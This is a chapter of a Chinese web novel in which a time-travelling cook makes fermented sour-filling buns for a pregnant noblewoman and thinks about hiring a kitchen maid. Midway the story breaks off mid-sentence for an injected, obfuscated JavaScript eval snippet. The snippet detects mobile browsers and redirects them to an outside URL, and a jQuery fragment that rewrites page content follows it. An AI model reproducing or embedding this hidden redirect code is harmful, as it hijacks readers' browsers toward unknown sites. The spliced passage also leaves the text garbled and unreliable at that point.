29. 酸馅儿包子

双儿一怔,似是没想明白柳金枝的意思。


“娘子这是何意?这过了夜的素食馅料吃了岂不腹泻?”


柳金枝笑摇头道:“非也。”


宋代人爱吃酸馅儿包子,但他们眼中的酸馅儿包子,与柳金枝所说的并不一样。


就如《古今小说·宋四公大闹禁魂张》里写到的一句:


“宋四公夜至三更前后,向金梁桥上四文钱买两只焦酸馅。”


这里的焦酸馅儿,就是指带馅儿的小吃。


而柳金枝所说的酸馅儿包子,就是要用各类食材混在一同,放至微微发酸,再启用包料。


只要做法得当,不仅不会腹泻,更是会增加馅料的鲜美程度。


但是傅府重视亲情,傅钗华又是头胎,所以阖府上下极为看重。


双儿第一次听说这酸馅儿包子,倒不敢拿主意直接端给傅钗华用。


“若是双儿娘子忧心,不如我先做一份儿,娘子再叫几个人一同来食用,若是大家皆会腹痛难忍,那我便罢了。”柳金枝道。


双儿觉得有理,松下口风:“如此,我这就差人去寻问,只是怕要费些功夫。”


府内不缺银两,对丫头们的待遇也不错,所以她们大多是不吃过夜食品的。


有个丫头站出来道:“双儿姐姐不必寻了,我哪儿倒有一盆上好的素菜馅料。本是昨夜拌好了,想包几个馄饨吃,却不想太忙,一时忘却了。”


“你把馅料放哪儿了?”


“拿条绳索挂在水井下头了。”


水井下头颇为寒凉,再加上正是春寒料峭时,这馅料估计正保鲜,没什么大问题。


双儿便愈加放松,笑道:“那正是巧了,你赶紧去把东西取来。”


“是。”


素菜馅料被端来时,盆上还好好地盖着一层纱布。


柳金枝把纱布揭开,低头轻嗅,鼻尖顿时萦绕着一股淡淡酸味儿,不浓烈,就好像水滴入了一滴醋,倒是酸酸淡淡的好闻。


“很好,这里头的馅料已经初步发酵了。”


柳金枝很满意。


双儿歪歪头,疑惑不解:“发酵?这是什么意思?”


“嗷……就是……”柳金枝挠了挠头,“就是这盆馅料已经很适合做包子的意思。”


“原来是这样,娘子用词真独特。”双儿由衷的夸。


柳金枝尴尬地嘿嘿两声。


馅料初步发酵,就会形成独特的酸味儿。


这种酸味儿既可以增加馅料的鲜味儿,又可以促进消化。


一般来说,膳工会选择将之加工成一种两头尖尖长长的包子,再上蒸笼,最后得出的包子鼓鼓的,口感更加松软,咬上一口,酸香扑鼻。


像柳金枝这种爱吃酸辣口味儿的,就特别喜欢吃这种包子。


不过大概是因为丫头月钱有限,所以这盆酸馅儿里头大多是素菜。


摘蒂的木耳、洗净切丝的小白菜……


许是觉得太没油水,于是里头又添了些肉沫。


粗略一打量,应是最便宜的猪肉。


但是也够了。


柳金枝撸起袖子,找出了一袋面粉。


古时候的筛粉技术较为粗糙,所以精细的好面粉不常见,价格又格外的贵。


司□□能拿出来的面粉虽然还有一些糙口,但已经算是精细了,傅府的面粉居然更胜一筹。


上手抓一把,粉质细腻无比,与现代品质面粉无异,一看就是筛过许多遍才得来的精品。


轻轻煽动面粉袋上方空气,更是可以闻到一股清甜的小麦香气,一看就知道是用上好的小麦粒仔细脱壳磨出来的。


果然是大富贵之家。


柳金枝感叹了一句,态度也更加认真。


毕竟好粮食不易得,要更珍惜才不算辜负。


她舀出一勺面粉,用沉淀一夜的清澈井水兑水拌匀,大力揉搓,揉出一个大大的面团。


为了让最后得出来的面食更劲道,她反复捶打面团足足一刻钟。


最后把面团从盆里挖出来的时候,手光盆光,雪白的面团干爽无比地待在案板中央。


旁边有丫头看着羡慕道:“娘子这和面的手艺真好,我和面的时候,不是粉多,就是面多。”


“我也是,但偶尔也有揉得不错的时候。比如我做包子就比做馄饨好,我揉出来的馄饨皮总是太厚。”


另有丫头点头说。


柳金枝笑道:“揉面确实比较讲究,就拿做包子来说,要一杯面,两杯水,糖、盐也不能缺。”


“但做馄饨又不一样了,虽然一样是一杯面,两杯水,但还要加蛋清、食言和花椒油。”


“揉面则又要一变,一杯面,三杯水,却只要一小勺盐就够了。”


两个丫头听的目瞪口呆。


“原来揉面还有这么多讲究?难怪我只能做一样面食,同样的方法去做其他的就行不通了。”


“柳娘子,你能再跟我们说说吗?”


“我也想学。”


几个丫头凑上来。


都说教会了徒弟,饿死师傅。


所以古时候好的师傅都藏私,不肯轻易把独门绝技交出去。


因此同样的中华美食,却还分为许多派系,派系之下,又因传承人对食谱有了改良,所以又有了以传承人姓名来命名的各种招牌菜。


柳金枝理解这些前辈的,但她无意于此。


毕竟她从后世来,因风气兼容并包,早就学了百家菜系。


如今若是再死守食谱不肯教出,倒对不起后世那些教导她的老师了。


于是柳金枝将自己知道的揉面方法一一道来。


几个丫头听的认真。


其中一人听得津津有味,却叹气道:“我小时也爱做菜,却没人教我,我只好一个人瞎琢磨。进了府后,嬷嬷觉得我懂算账,想让我去内库帮忙,可我放不下膳房,就自请来这里干活儿。本来是想学些手艺的,不过至今还是个半吊子。”


柳金枝闻言,不由得朝这人看去。


眼前的女子约莫二十五岁光景,皮肤白净,眉眼虽只算得清秀,却自有一种温柔沉稳气质,就像一杯氤氲着热气的茶,看着就叫人舒心。


一个丫头道:“柳娘子,你可别看阿芹这样说,她的手艺可是我们这几个里最好的。”


“是啊,每天脑子里不是想着做菜,就是想着食谱。我们还常笑她,若她不在府里头做了,要去汴京城里支个食摊,我们必然都去帮她撑场子。”


阿芹被说的不好意思,脸红道:“我哪儿有能力去支食摊?当个膳徒倒是不错。”


柳金枝听着,不由心念一动。


正好柳霄科举的钱已经存够了,若不出意外,将来柳霄就该以温书为主,至于食摊,她该另请人手。


本来她还在犹豫人手不好找,懂算账,能顾摊的人才就更不好找。


现在这个阿芹既然两者兼备,不如让她试探试探。


也就笑呵呵地问道:“阿芹娘子,你的奴契何时到期?”


阿芹想一想,满眼犹豫和迟疑,道:“算起来也就这两天了吧,其实我也不知该不该离开。”


毕竟往外一步就是不可预知的未来,但如果留在傅府,别的不说,傅府家风温和,治下有道,


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15531871|169610||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


宛若温室,至少能护人无风无雨。


柳金枝闻言,想了想,便以开玩笑的口吻道:“正巧我的食摊上还缺人手呢,芹娘子若出了府,不如去我哪儿。虽保不得吃香喝辣,每月的工钱却是一定准时结。”


几个人都笑开了。


阿芹也咧开了嘴,笑容却略带思量。


面揉好就要发,足要一个半时辰。


但一群人凑在一起说说笑笑,倒也不觉得时间漫长。


直到双儿回转来,告诉她们傅钗华醒了,洗漱完就要用膳。


一群人才加紧做起手上活儿来。


不消半刻钟,包子就包好了,又放在蒸笼蒸。


等到傅钗华将衣裳穿着齐整后,酸馅儿包子正好出炉。


双儿与膳房里头的六个丫头都凑上来要试菜。


柳金枝将蒸笼盖子一掀开。


蒸汽噗嗤喷出,一时间迷乱人眼。


众丫头却闻见一股扑鼻的酸香,不由得惊呼:


“哇!”


“好香!”


……


双儿本还担心自己吃了这酸馅儿包子,会跑好几趟茅房,却不想这个味道这样香,心里的防备顿时卸了一半。


阿芹一人发了一双筷子,每个丫头都夹了一个酸馅儿包子喂进嘴里。


“唔……”阿芹嚼了几口,就不由得面露惊艳,“味道酸香鲜嫩,比一般的馅料更好吃!”


双儿说不出来这么多话,也只一个劲儿地点头,又多咬了好几口。


其他丫头也是一个赛一个吃得快。


今早来膳房帮忙,她们可都没吃朝食呢。


“吃完之后,咱们再等上个一时半刻,若并无不妥,那这碟包子就可以呈给大姐儿了。”


双儿笑道。


众人点头,吃完之后不喝水,也不吃其他,更不随意走动,只在膳房坐着。


三刻钟后,前头服侍傅钗华的丫头又来催了第二道,众人你看看我,我看看你,互相确认并无不妥后,才叫双儿将这碟酸馅儿包子带走了。


与此同时。


傅钗华坐在铜镜前,望着镜中如花芙蓉面,先是一笑,后又忍不住伸出纤纤细指抚摸檀木桌上一排胭脂,对旁边眉眼俊朗的青年郎君道:


“唉,自从有孕后,这些口脂、胭脂都用不到了。”


“夫人眉不描自黑,唇不点自红,不用这些胭脂也有好气色。”


傅钗华嗔笑道:“你惯会哄我开心,我这段时间吃不好,睡不好,脸色都难看了许多。”


“女子孕中确实格外辛苦,为夫又是男子,帮不到夫人什么。好在傅弟认识那位柳娘子,我与他一同请了人家来。她做的膳食我用过,十分不错。我想若夫人吃了,即便不能开胃,也能多用一些。”


柴靖温声道。


“这位柳娘子倒是没怎么听说过,我只觉得上次你去蔡氏饭馆带回来的鱼不错。”傅钗华叹了口气,“只是妇人孕中不得多食鱼虾一类的河鲜,否则对胎儿不利,我才不得不少食些。”


柴靖还要安慰,双儿却已经送了酸馅儿包子过来了。


这包子几个并排摆在一只薄胎白釉碟子里,外皮雪白,鼓鼓圆圆,就像一只只小兔子,煞是可爱。


柴靖忙不迭接过来,送到傅钗华面前,道:“夫人,膳食送来了,不如来试试?”


傅钗华叹了口气,转头吩咐丫头们将漱口盆和手帕预备好。


她怕自己刚吃就要吐。


慢吞吞走到桌边坐下,柴靖夹了一只酸馅儿包子送到她嘴边。


傅钗华犹豫了下,还是缓缓张开嘴,小小咬了一口。